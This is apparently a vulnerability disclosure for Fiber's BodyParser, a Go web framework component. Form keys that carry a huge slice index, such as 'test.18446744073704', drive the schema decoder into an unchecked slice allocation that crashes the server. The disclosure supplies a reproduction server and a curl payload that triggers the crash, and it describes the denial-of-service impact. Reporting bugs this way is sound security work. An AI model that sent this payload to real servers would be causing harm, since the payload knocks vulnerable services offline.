Fiber Crashes in BodyParser Due to Unvalidated Large Slice Index in Decoder

Description

When using Fiber's Ctx.BodyParser to parse form data containing a large numeric key that represents a slice index (e.g., test.18446744073704), the application crashes due to an out-of-bounds slice allocation in the underlying schema decoder.

The root cause is that the decoder attempts to allocate a slice of length idx + 1 without validating whether the index is within a safe or reasonable range. If idx is excessively large, this leads to an integer overflow or memory exhaustion, causing a panic or crash.

Steps to Reproduce

Create a POST request handler that accepts x-www-form-urlencoded data

package main

import (
	"fmt"
	"net/http"

	"github.com/gofiber/fiber/v2"
)

type RequestBody struct {
	NestedContent []*struct{} `form:"test"`
}

func main() {
	app := fiber.New()

	app.Post("/", func(c *fiber.Ctx) error {
		formData := RequestBody{}
		if err := c.BodyParser(&formData); err != nil {
			fmt.Println(err)
			return c.SendStatus(http.StatusUnprocessableEntity)
		}
		return nil
	})

	fmt.Println(app.Listen(":3000"))
}

Run the server and send a POST request with a large numeric key in form data, such as:

curl -v -X POST localhost:3000 --data-raw 'test.18446744073704' \
  -H 'Content-Type: application/x-www-form-urlencoded'

Relevant Code Snippet

Within the decoder's decode method:

idx := parts[0].index
if v.IsNil() || v.Len() < idx+1 {
    value := reflect.MakeSlice(t, idx+1, idx+1)  // <-- Panic/crash occurs here when idx is huge
    if v.Len() < idx+1 {
        reflect.Copy(value, v)
    }
    v.Set(value)
}

The idx is not validated before use, leading to unsafe slice allocation for extremely large values.

---

Impact

• Application panic or crash on malicious or malformed input.
• Potential denial of service (DoS) via memory exhaustion or server crash.
• Lack of defensive checks in the parsing code causes instability.